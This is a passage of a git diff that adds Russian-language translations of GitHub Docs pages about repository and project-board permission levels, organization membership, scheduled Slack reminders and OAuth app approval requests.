репозитория | [Настройка предварительной версии социальных сетей репозитория](/github/administering-a-repository/customizing-your-repositorys-social-media-preview) | +| Создание шаблона из репозитория | [Создание репозитория шаблонов](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository) | +| Управление доступом к {% data variables.product.prodname_dependabot_alerts %}| [Управление параметрами безопасности и анализа для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |{% ifversion fpt or ghec %} +| Закрытие {% data variables.product.prodname_dependabot_alerts %} в репозитории | [Просмотр и обновление {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) | +| Управление использованием данных для частного репозитория | [Управление параметрами использования данных для частного репозитория](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)|{% endif %} +| Определение владельцев кода для репозитория | [О владельцах кода](/github/creating-cloning-and-archiving-repositories/about-code-owners) | +| Архивация репозитория | [Архивация репозиториев](/repositories/archiving-a-github-repository/archiving-repositories) |{% ifversion fpt or ghec %} +| Создание рекомендаций по безопасности | [Сведения о рекомендациях по безопасности репозитория](/github/managing-security-vulnerabilities/about-github-security-advisories) | +| Отображение кнопки спонсора | [Отображение кнопки спонсора в репозитории](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository) |{% endif %} +| Разрешение или запрет автоматического слияния для запросов на вытягивание | [Управление автоматическим слиянием для запросов на вытягивание в репозитории](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | +| Управление веб-перехватчиками и развертывание ключей | [Управление ключами развертывания](/developers/overview/managing-deploy-keys#deploy-keys) | + +## Доступ участника совместной работы к репозиторию, принадлежащему личной учетной записи + +Участники совместной работы могут вытягивать (читать) содержимое из репозитория и отправлять (записывать) изменения в репозиторий. + +{% note %} + +**Примечание.** В частном репозитории владельцы могут предоставлять участникам совместной работы только доступ для записи. Участники совместной работы не могут иметь доступ только для чтения к репозиториям, принадлежащим личной учетной записи. + +{% endnote %} + +Участники совместной работы также могут выполнять следующие действия. + +| Действие | Дополнительные сведения | +| :- | :- | +| Создание вилки репозитория | [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) | +| Переименование ветви, отличной от ветви по умолчанию | [Переименование ветви](/github/administering-a-repository/renaming-a-branch) | +| Создание, изменение и удаление комментариев о фиксациях, запросах на вытягивание и проблемах репозитория |
  • [Сведения о проблемах](/github/managing-your-work-on-github/about-issues)
  • [Комментирование запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
  • [Управление комментариями, которые мешают работе](/communities/moderating-comments-and-conversations/managing-disruptive-comments)
| +| Создание, назначение, закрытие и повторное открытие проблем в репозитории | [Управление работой с проблемами](/github/managing-your-work-on-github/managing-your-work-with-issues) | +| Управление метками для проблем и запросов на вытягивание в репозитории | [Проблемы с метками и запросы на вытягивание](/github/managing-your-work-on-github/labeling-issues-and-pull-requests) | +| Управление вехами для проблем и запросов на вытягивание в репозитории | [Создание и изменение вех для проблем и запросов на вытягивание](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests) | +| Пометка проблем или запросов на вытягивание в репозитории как повторяющихся | [Сведения о дубликатах проблем и запросов на вытягивание](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests) | +| Создание, слияние и закрытие запросов на вытягивание в репозитории | [Предложение изменений в работе с запросами на вытягивание](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests) | +| Включение и отключение автоматического слияния для запроса на вытягивание | [Автоматическое слияние для запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request) +| Применение предлагаемых изменений к запросам на вытягивание в репозитории |[Внедрение отзывов в запрос на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) | +| Создание запроса на вытягивание из вилки репозитория | [Создание запроса на вытягивание из вилки](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork) | +| Отправка проверки запроса на вытягивание, которая влияет на возможность слияния для запроса на вытягивание | [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | +| Создание и изменение вики-сайта для репозитория | [Сведения о вики-сайтах](/communities/documenting-your-project-with-wikis/about-wikis) | +| Создание и изменение выпусков для репозитория | [Управление выпусками в репозитории](/github/administering-a-repository/managing-releases-in-a-repository) | +| Выполнение роли владельца кода для репозитория | [О владельцах кода](/articles/about-code-owners) |{% ifversion fpt or ghae or ghec %} +| Публикация, просмотр или установка пакетов | [Публикация пакетов и управление ими](/github/managing-packages-with-github-packages/publishing-and-managing-packages) |{% endif %} +| Удаление себя в качестве участника совместной работы из репозитория | [Удаление себя из репозитория участника совместной работы](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository) | + +## Дополнительные материалы + +- [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md new file mode 100644 index 000000000000..7bb764929f44 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md @@ -0,0 +1,70 @@ +--- +title: 'Уровни разрешений для доски проекта, принадлежащей личной учетной записи' +intro: 'На доске проекта, принадлежащей личной учетной записи, есть два уровня разрешений: владелец доски проекта и участники совместной работы.' +redirect_from: + - /articles/permission-levels-for-user-owned-project-boards + - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-user-owned-project-boards + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Project board permissions +ms.openlocfilehash: 353b9ac497abc7110437aafdf691ca48a3ff6cec +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165345' +--- +## Permissions overview (Общие сведения о разрешениях) + +Владелец у доски проекта, принадлежащей пользователю, может быть только один; это разрешение не может быть предоставлено другой личной учетной записи. Помимо владельца, над досками проектов могут совместно работать и другие пользователи. + +Существует три уровня разрешений для участников совместной работы над доской проекта: + +{% data reusables.project-management.project-board-permissions %} + +## Разрешения владельца и администратора для доски проекта, принадлежащей пользователю + +Владелец доски проекта и участники совместной работы с разрешениями администратора имеют полный контроль над доской проекта. Помимо всех разрешений, предоставленных участниками совместной работы над доской проектов, владелец доски проекта и участник совместной работы с разрешениями администратора могут: + +- [Управлять, просматривать и добавлять участников совместной работы](/articles/managing-access-to-your-user-account-s-project-boards) +- [Настроить доску проекта как {% ifversion ghae %}внутреннюю{% else %}общедоступную{% endif %} или частную](/articles/changing-project-board-visibility) +- [Удалить доску проекта](/articles/deleting-a-project-board/) +- [Закрыть доску проекта](/articles/closing-a-project-board/) +- [Открыть ранее закрытую доску проекта](/articles/reopening-a-closed-project-board) + +## Разрешения на чтение и запись для доски проекта, принадлежащей пользователю + +Участники совместной работы с доступом для чтения доски проекта, принадлежащей пользователю, могут: + +- Просматривать доску проекта +- Копировать доску проекта +- Фильтровать карточки на доске проекта + +Участники совместной работы с доступом для записи на доску проекта, принадлежащую пользователю, могут: + +- Просматривать доску проекта +- Копировать доску проекта +- Фильтровать карточки на доске проекта +- Редактировать доску проекта +- Связывать репозиторий с доской проекта +- Настраивать автоматизацию для доски проекта +- Копировать доску проекта +- Добавлять проблемы и запросы на вытягивание к доске проекта +- Добавлять примечания к доске проекта +- Отслеживать прогресс на доске проекта +- Архивировать карточки на доске проекта + +## Видимость панели проекта. + +Видимость доски проекта можно изменить с частной на {% ifversion ghae %}внутреннюю{% else %}общедоступную{% endif %} и обратно. По умолчанию доски проектов, принадлежащие пользователю, являются частными. Дополнительные сведения см. в разделе [Изменение видимости панели проекта](/articles/changing-project-board-visibility). + +## Дополнительные материалы + + - [Управление доступом к доскам проектов личной учетной записи](/articles/managing-access-to-your-user-account-s-project-boards) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md new file mode 100644 index 000000000000..aa39fe2018b6 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md @@ -0,0 +1,34 @@ +--- +title: Для чего предназначен флажок "Доступен для найма"? +intro: 'Используйте флажок **Доступно для найма**, чтобы просмотреть публикации GitHub Jobs в GitHub.' +redirect_from: + - /articles/what-does-the-available-for-hire-checkbox-do + - /github/setting-up-and-managing-your-github-user-account/what-does-the-available-for-hire-checkbox-do + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Available for hire checkbox +ms.openlocfilehash: 1f7f188ae86093478385f7f569ec37c3479a7661 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165241' +--- +{% warning %} + +Примечание об устаревании. Сайт вакансий GitHub признан устаревшим. Последняя дата публикации вакансии — 19 мая 2021 г. Сайт вакансий GitHub закрылся 19 августа 2021 г. Все запросы к нему теперь перенаправляются к уведомлению в [записи блога GitHub](https://github.blog/changelog/2021-04-19-deprecation-notice-github-jobs-site/), в котором содержатся дополнительные сведения о признании сайта вакансий GitHub устаревшими. + +{% endwarning %} + +Для поиска работы в сфере технологий рекомендуется использовать панель [Вакансии GitHub](https://jobs.github.com/). Вы можете настроить просмотр публикуемых на ней вакансий на своей панели мониторинга GitHub. + +![Объявления о вакансиях GitHub на панели мониторинга](/assets/images/help/settings/jobs-ads-on-dashboard.png) + +{% data reusables.user-settings.access_settings %} +2. В разделе "Профиль вакансий" выберите **Доступен для найма** и щелкните **Сохранить профиль вакансий**. + ![Параметры профиля вакансий](/assets/images/help/settings/jobs-profile-settings.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md new file mode 100644 index 000000000000..3cf6e1e21b70 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md @@ -0,0 +1,59 @@ +--- +title: Сведения о членстве в организации +intro: 'Вы можете стать участником организации, чтобы работать совместно с коллегами или участниками разработки ПО с открытым кодом одновременно в нескольких репозиториях.' +redirect_from: + - /articles/about-organization-membership + - /github/setting-up-and-managing-your-github-user-account/about-organization-membership + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Organization membership +ms.openlocfilehash: be1f2901ed18c98edf5e05c453dec5d3c443955f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165436' +--- +Владелец организации может пригласить вас присоединиться к ней в качестве участника, менеджера по выставлению счетов или владельца. Владелец организации или участник с правами администратора репозитория может пригласить вас к сотрудничеству в одном или нескольких репозиториях в качестве внешнего участника совместной работы. Дополнительные сведения см. в статье "[Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". + +Организации, в которых вы участвуете, доступны на странице вашего профиля. Дополнительные сведения см. в разделе [Доступ для организации](/articles/accessing-an-organization). + +Когда вы принимаете приглашение присоединиться к организации, владельцы организации могут просматривать следующие сведения: + +- данные вашего общедоступного профиля; +- Ваш адрес электронной почты +- включена ли у вас двухфакторная авторизация; +- репозитории, к которым у вас есть доступ в организации, и уровень этого доступа; +- некоторые действия в организации; +- страна, откуда поступил запрос; +- ваш IP-адрес. + +Дополнительные сведения см. в заявлении о конфиденциальности {% data variables.product.prodname_dotcom %}. + + {% note %} + + **Примечание**. Владельцы не могут просматривать IP-адреса участников в журнале аудита организации. В случае инцидента безопасности, например компрометации учетной записи или случайного раскрытия конфиденциальных данных, владельцы организации могут запросить сведения о доступе к частным репозиториям. Возвращаемые нами сведения могут содержать ваш IP-адрес. + + {% endnote %} + +По умолчанию для участника организации настроен частный уровень видимости. Вы можете сообщить о членстве в отдельных организациях в своем профиле. Дополнительные сведения см. в разделе [Публикация или скрытие сведений о членстве в организации](/articles/publicizing-or-hiding-organization-membership). + +{% ifversion fpt or ghec %} + +Если ваша организация принадлежит к корпоративной учетной записи, вы автоматически являетесь участником этой учетной записи и сведения о вас доступны ее владельцам. Дополнительные сведения см. в разделе [Сведения о корпоративных учетных записях](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %} + +{% endif %} + +Вы можете в любое время покинуть организацию. Дополнительные сведения см. в разделе [Удаление себя из организации](/articles/removing-yourself-from-an-organization). + +## Дополнительные материалы + +- [Сведения об организациях](/articles/about-organizations) +- [Управление членством в организациях](/articles/managing-your-membership-in-organizations) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md new file mode 100644 index 000000000000..37ceabef988e --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md @@ -0,0 +1,32 @@ +--- +title: Доступ для организации +intro: 'Чтобы получить доступ к организации, членом которой вы являетесь, необходимо войти в личную учетную запись.' +redirect_from: + - /articles/error-cannot-log-in-that-account-is-an-organization + - /articles/cannot-log-in-that-account-is-an-organization + - /articles/how-do-i-access-my-organization-account + - /articles/accessing-an-organization + - /github/setting-up-and-managing-your-github-user-account/accessing-an-organization + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +ms.openlocfilehash: 3c2e98d1b28d347ba901b6d0feed15aa54c7609c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165216' +--- +{% tip %} + +**Совет**. Просматривать и изменять параметры учетной записи для организации могут только владельцы организации. + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md new file mode 100644 index 000000000000..db6a3668240e --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md @@ -0,0 +1,31 @@ +--- +title: Управление членством в организациях +intro: 'Если вы являетесь участником организации, вы можете обнародовать или скрыть свое членство, просмотреть роли других пользователей и удалить себя из организации.' +redirect_from: + - /articles/managing-your-membership-in-organizations + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +children: + - /about-organization-membership + - /accessing-an-organization + - /viewing-peoples-roles-in-an-organization + - /requesting-organization-approval-for-oauth-apps + - /publicizing-or-hiding-organization-membership + - /managing-your-scheduled-reminders + - /removing-yourself-from-an-organization +shortTitle: Manage organization membership +ms.openlocfilehash: 6cd19e2321d928b73942d99f46a48b0501d813fb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145165072' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md new file mode 100644 index 000000000000..0d75564f6d10 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md @@ -0,0 +1,54 @@ +--- +title: Управление запланированными напоминаниями +intro: 'Напоминания можно получать в Slack, если у вас или вашей команды есть запросы на вытягивание, ожидающие проверки.' +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +redirect_from: + - /github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders +shortTitle: Manage scheduled reminders +ms.openlocfilehash: 7dab3826b1791d3b06b3a2594c3ba132c6d675b4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145165180' +--- +## Сведения о запланированных напоминаниях для пользователей + +Запланированные напоминания применяются для того, чтобы пользователи сосредоточились на наиболее важных запросах на проверку, требующих их внимания. Запланированные напоминания для запросов на вытягивание будут отправлять вам в Slack сообщение с открытыми запросами на вытягивание, которым требуется проверка в указанное время. Например, можно настроить запланированные напоминания для отправки в Slack каждое утро в 10:00 с помощью сообщений с запросами на вытягивание, которые необходимо проверить вам или одной из ваших команд. + +Для определенных событий можно также включить оповещения в режиме реального времени для запланированных напоминаний. Оповещения в режиме реального времени отправляются в канал Slack, как только происходит важное событие, например при назначении проверки. + +Можно задать запланированные напоминания для личных или командных запросов на проверку для запросов на вытягивание в организациях, членом которых вы являетесь. Прежде чем можно будет создавать запланированное напоминание для себя, владелец организации должен авторизовать рабочую область Slack. Дополнительные сведения см. в разделе [Управление запланированными напоминаниями для организации](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization). + +{% data reusables.reminders.scheduled-reminders-limitations %} + +## Создание запланированных напоминаний для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. Рядом с организацией, для которой требуется запланировать напоминания, нажмите кнопку **Изменить**. +![Кнопка редактирования запланированных напоминаний](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} +8. При необходимости, чтобы получать запланированные напоминания о назначенных вам проверках, выберите **Проверить назначенные вам запросы**. +![Флажок "Проверить назначенные вам запросы"](/assets/images/help/profile/scheduled-reminders-your-requests.png) +9. При необходимости, чтобы получать запланированные напоминания о проверках, назначенных команде, членом которой вы являетесь, выберите **Проверить назначенные вашей команде запросы**. +![Флажок для запросов проверки, назначенных команде](/assets/images/help/profile/scheduled-reminders-your-team-requests.png) {% data reusables.reminders.real-time-alerts %} ![Флажок для включения оповещений в режиме реального времени](/assets/images/help/settings/scheduled-reminders-real-time-alerts-personal.png) {% data reusables.reminders.create-reminder %} + +## Управление запланированными напоминаниями для личной учетной записи +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. Рядом с организацией, для которой требуется внести изменения в запланированные напоминания, нажмите кнопку **Изменить**. +![Кнопка редактирования запланированных напоминаний](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %} + +## Удаление запланированных напоминаний для личной учетной записи +{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %} +1. Рядом с организацией, для которой требуется удалить напоминания, нажмите кнопку **Изменить**. +![Кнопка редактирования запланированных напоминаний](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.delete %} + +## Дополнительные материалы + +- [Управление запланированными напоминаниями для организации](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization) +- [Управление запланированными напоминаниями для команды](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md new file mode 100644 index 000000000000..a6a360f3c4ba --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md @@ -0,0 +1,35 @@ +--- +title: Публикация или скрытие сведений о членстве в организации +intro: 'Если вы хотите сообщить всем, к каким организациям вы принадлежите, вы можете настроить отображение аватаров организаций в вашем профиле.' +redirect_from: + - /articles/publicizing-or-concealing-organization-membership + - /articles/publicizing-or-hiding-organization-membership + - /github/setting-up-and-managing-your-github-user-account/publicizing-or-hiding-organization-membership + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Show or hide membership +ms.openlocfilehash: 89f9c7ee5cae6215412fd20dc0590f4f8dc5bf0b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881182' +--- +![Поле организаций в профиле](/assets/images/help/profile/profile_orgs_box.png) + +## Настройка видимости сведений о членстве в организации + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Найдите свое имя пользователя в списке участников. В большом списке имя пользователя можно найти с помощью поля поиска. +![Поле поиска участников организации](/assets/images/help/organizations/member-search-box.png) +5. В меню справа от имени пользователя выберите новый параметр видимости: + - Чтобы публиковать сведения о членстве, выберите **Открытый**. + - Чтобы скрывать сведения о членстве, выберите **Закрытый**. + ![Ссылка для настройки видимости участника организации](/assets/images/help/organizations/member-visibility-link.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md new file mode 100644 index 000000000000..333584aeb38c --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md @@ -0,0 +1,34 @@ +--- +title: Removing yourself from an organization +intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.' +redirect_from: + - /articles/how-do-i-remove-myself-from-an-organization + - /articles/removing-yourself-from-an-organization + - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-an-organization + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Leave an organization +--- +{% ifversion fpt or ghec %} + +{% warning %} + +**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method). + +For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)." + +{% endwarning %} + +{% endif %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.organizations %} +3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**. + ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md new file mode 100644 index 000000000000..e30cee7a71fe --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md @@ -0,0 +1,37 @@ +--- +title: Requesting organization approval for OAuth Apps +intro: 'Organization members and outside collaborators can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_apps %}.' +redirect_from: + - /articles/requesting-organization-approval-for-third-party-applications + - /articles/requesting-organization-approval-for-your-authorized-applications + - /articles/requesting-organization-approval-for-oauth-apps + - /github/setting-up-and-managing-your-github-user-account/requesting-organization-approval-for-oauth-apps + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Request OAuth App approval +--- + +## About requesting organization approval for an {% data variables.product.prodname_oauth_app %} + +Organization members can always request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.{% ifversion limit-app-access-requests %} Outside collaborators can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use if integration access requests are enabled. For more information, see "[Limiting OAuth App and GitHub App access requests](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests)."{% endif %} + +## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.access_applications %} +{% data reusables.user-settings.access_authorized_oauth_apps %} +3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for. +![View application button](/assets/images/help/settings/settings-third-party-view-app.png) +4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**. +![Request access button](/assets/images/help/settings/settings-third-party-request-access.png) +5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**. +![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png) + +## Further reading + +- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md new file mode 100644 index 000000000000..8b06d53e4d46 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md @@ -0,0 +1,68 @@ +--- +title: Просмотр ролей пользователей в организации +intro: 'Можно просмотреть список пользователей в организации и отфильтровать их по роли. Дополнительные сведения о ролях в организации см. в статье [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).' +permissions: Organization members can see people's roles in the organization. +redirect_from: + - /articles/viewing-people-s-roles-in-an-organization + - /articles/viewing-peoples-roles-in-an-organization + - /github/setting-up-and-managing-your-github-user-account/viewing-peoples-roles-in-an-organization + - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: View people in an organization +ms.openlocfilehash: e0632ffeb394615b7b64ad55673b69fc738bca27 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT 